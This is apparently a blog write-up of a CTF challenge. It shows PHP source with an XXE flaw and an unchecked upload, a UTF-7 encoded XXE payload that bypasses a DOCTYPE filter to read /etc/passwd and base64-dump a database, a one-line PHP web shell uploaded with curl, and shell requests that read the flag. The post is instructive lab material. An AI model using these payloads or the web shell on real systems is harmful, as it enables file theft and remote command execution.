← Back to list

Season | Luxor Finals CTF

I Hate the people that used ai in the Finals

00xCanelo · 2026-03-29 22:52 · 231 claps · 5.5 min read
#mont5ab-el2hwa #cyctf #penetration-testing
Open on Medium ↗

Season | Luxor Finals CTF

I Hate the people that used ai in the Finals

First lets start analysis lets go starting with src/importConfig.php we have this code

<?php
ini_set('display_errors', 0);
error_reporting(0);

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    die("Invalid request method.");
}

if (!isset($_FILES['xml_file'])) {
    die("No file uploaded.");
}

$file = $_FILES['xml_file'];
$filename = basename($file['name']);

if (!preg_match('/\.xml$/i', $filename)) {
    die("<h3 style='color:red;'>Only XML files are allowed.</h3>");
}

$xmlContent = file_get_contents($file['tmp_name']);

if (stripos($xmlContent, '<!DOCTYPE') !== false) {
    die("<h3 style='color:red;'>DOCTYPE declarations are not allowed.</h3>");
}

libxml_use_internal_errors(true);

$dom = new DOMDocument();
$dom->resolveExternals = true;
$dom->substituteEntities = true;

$dom->loadXML(
    $xmlContent,
    LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR
);

echo "<!DOCTYPE html>
<html>
<head>
<title>Configuration Imported</title>
<style>
body {
    background:#0f172a;
    color:#f1f5f9;
    font-family:monospace;
    padding:40px;
}
pre {
    background:#020617;
    padding:20px;
    border-radius:8px;
    border:1px solid #334155;
    white-space:pre-wrap;
    word-wrap:break-word;
}
a {
    color:#06b6d4;
}
</style>
</head>
<body>

<h2>✓ Configuration Import Successful</h2>
<p>Processed XML Output:</p>

<pre>";

echo $dom->saveXML(); 

echo "</pre>

<br>
<a href='index.php'>← Back</a>

</body>
</html>";
?>

Here is a summary for the code simple the application takes a XML File so we simply need to upload a XML file but there is a small problem there is no upload form so be ready with your curl and lets go to old friend stackoverflow

[embed]Using cURL to upload POST data with files I would like to use cURL to not only send data parameters in HTTP POST but to also upload files with specific form…stackoverflow.com

nice but here is a small problem I faced

You have to specify the file name which is “xml_file” so your curl payload will be like this

curl -X POST -F "xml_file=@/home/enta/canelo.xml" INSTANCE -i

i used -i to get the full response from the request you may hock it to the burp to continue but i will continue with curl

Now lets create the xml file we will upload

[embed]PayloadsAllTheThings/XXE Injection/README.md at master · swisskyrepo/PayloadsAllTheThings A list of useful payloads and bypass for Web Application Security and Pentest/CTF - PayloadsAllTheThings/XXE…github.com

i will use this payload in the test.xml file:

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

Simply as we can see this line

DOCTYPE declarations are not allowed.

So we can we can’t use DOCTYPE in our payload so after some search you find this blog

[embed]XXE Injection: Advanced Exploitation Guide Learn how to identify and hunt for advanced XML External Entity (XXE) injection vulnerabilities using several different…www.intigriti.com

Read carefully the blog until this section

lets try this payload

<?xml version="1.0" encoding="UTF-7"?>
+ADw-+ACE-DOCTYPE+ACA-data+ACA-+AFs-+AAo-+ACA-+ACA-+ADw-+ACE-ENTITY+ACA-xxe+ACA-SYSTEM+ACA-+ACI-file:///etc/passwd+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-data+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-post+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-title+AD4-+ACY-xxe+ADs-+ADw-/post+AF8-title+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-desc+AD4-xyz+ADw-/post+AF8-desc+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-/post+AD4-+AAo-+ADw-/data+AD4-
curl -X POST -F "xml_file=@/home/canelo/zluxor/test.xml" http://Instance/importConfig.php -i

Nice we dumped the /etc/passwd nice lets read the source

#!/bin/bash
set -e

sqlite3 /var/www/submissions.db "
CREATE TABLE IF NOT EXISTS submissions (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    filename TEXT NOT NULL,
    filepath TEXT NOT NULL,
    uploaded_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
"
chown www-data:www-data /var/www/submissions.db

if [ -n "$FLAG" ]; then
    RAND=$(cat /proc/sys/kernel/random/uuid | tr -d '-')
    FLAG_FILE="/flag_${RAND}.txt"
    echo "$FLAG" > "$FLAG_FILE"
    chmod 444 "$FLAG_FILE"
else
    echo "WARNING: FLAG env variable is not set" >&2
fi

exec apache2-foreground

in entry_point.sh the flag is created with random uuid at the end so we can’t read it directly so we are stuck at this point but luckly we have another file in src/contact/upload.php

<?php
require_once('./commonFunc.php');

$uploadDir = __DIR__ . "/../uploads/";

if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

if (!isset($_FILES['uploadFile'])) {
    http_response_code(400);
    exit("No file uploaded.");
}

$file = $_FILES['uploadFile'];
$originalName = basename($file['name']);
$extension = pathinfo($originalName, PATHINFO_EXTENSION);

$uuid = generateUUID();
$newFilename = $uuid . ($extension ? "." . $extension : "");
$targetPath = $uploadDir . $newFilename;

if (move_uploaded_file($file['tmp_name'], $targetPath)) {

    $db = initDatabase();

    $stmt = $db->prepare("INSERT INTO submissions (filename, filepath, uploaded_at) VALUES (:filename, :filepath, :uploaded_at)");
    $stmt->execute([
        ':uploaded_at' => date("Y-m-d H:i:s"),
        ':filename'    => $newFilename,
        ':filepath'    => $targetPath,
    ]);

} else {
    echo "<div class='alert alert-danger'>Upload failed</div>";
}

as you can see the file we upload is created with santization or anything so we can upload our shell simply right? mmm not actually because the file name is generated with uuid at the beginning so read the code carefully you will find that the file name well be added in the sql file but here is a small problem

RUN touch /var/www/submissions.db && \
    chown www-data:www-data /var/www/submissions.db /var/www && \
    chmod 664 /var/www/submissions.db && \
    chmod 775 /var/www

but the problem that submissions.db is considered as a binary we can read it directly but we can dump it is a base64 so now are steps are 1- create php shell file and upload it 2- use our xxe injection to dump the submission.db and get the file name 3- use our shell and read the flag

Now for the php shell i used this code

<?php system($_GET['cmd']); ?>

now we use the same curl command to upload but change the variable name to “uploadFile”

curl -X POST  -F "uploadFile=@/home/canelo/zluxor/shell.php" http://Instance/contact/upload.php -i

nice now we need to dump the db containing the file name from

/var/www/submissions.db

but in the source it is treated as a binary so we will use this payload to convert it to base64

php://filter/convert.base64-encode/resource=/var/www/submissions.db

here is the full xml file

<?xml version="1.0" encoding="UTF-7"?>
+ADw-+ACE-DOCTYPE+ACA-data+ACA-+AFs-+AAo-+ACA-+ACA-+ADw-+ACE-ENTITY+ACA-xxe+ACA-SYSTEM+ACA-+ACI-php://filter/convert.base64-encode/resource=/var/www/submissions.db+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-data+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-post+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-title+AD4-+ACY-xxe+ADs-+ADw-/post+AF8-title+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-desc+AD4-xyz+ADw-/post+AF8-desc+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-/post+AD4-+AAo-+ADw-/data+AD4-

now the same curl command of the xml upload w wdyy el file dh you will get a base64 decode it on cyberchef from base64 and scroll until you find the file

the file is 3ccc43af-4e1d-4c48-bf39–88f11c792fd5.php in my case

http://Instance/uploads/3ccc43af-4e1d-4c48-bf39-88f11c792fd5.php?cmd=id

now we got the shell lets get the flag

http://Instance/uploads/3ccc43af-4e1d-4c48-bf39-88f11c792fd5.php?cmd=ls%20/

http://Instance/uploads/3ccc43af-4e1d-4c48-bf39-88f11c792fd5.php?cmd=cat /flag_37cd18fcad47449797617d6caed09876.txt

You got the flag thank for reading

flag :

CyCTF{Canelo_Hates_The_People_That_Used_AI_ya 7armyaa ya cheaters} 

GITHUB TEAM

These Write-ups are made and will always be made by: not 00xCanelo


메타데이터
post_id
602d1a64da4b
slug
season-luxor-finals-ctf-602d1a64da4b
url
https://medium.com/@00xCanelo/season-luxor-finals-ctf-602d1a64da4b
canonical_url
https://medium.com/@00xCanelo/season-luxor-finals-ctf-602d1a64da4b
author_url
https://medium.com/@00xCanelo
status
ok
fetched_at
2026-06-23 03:48:11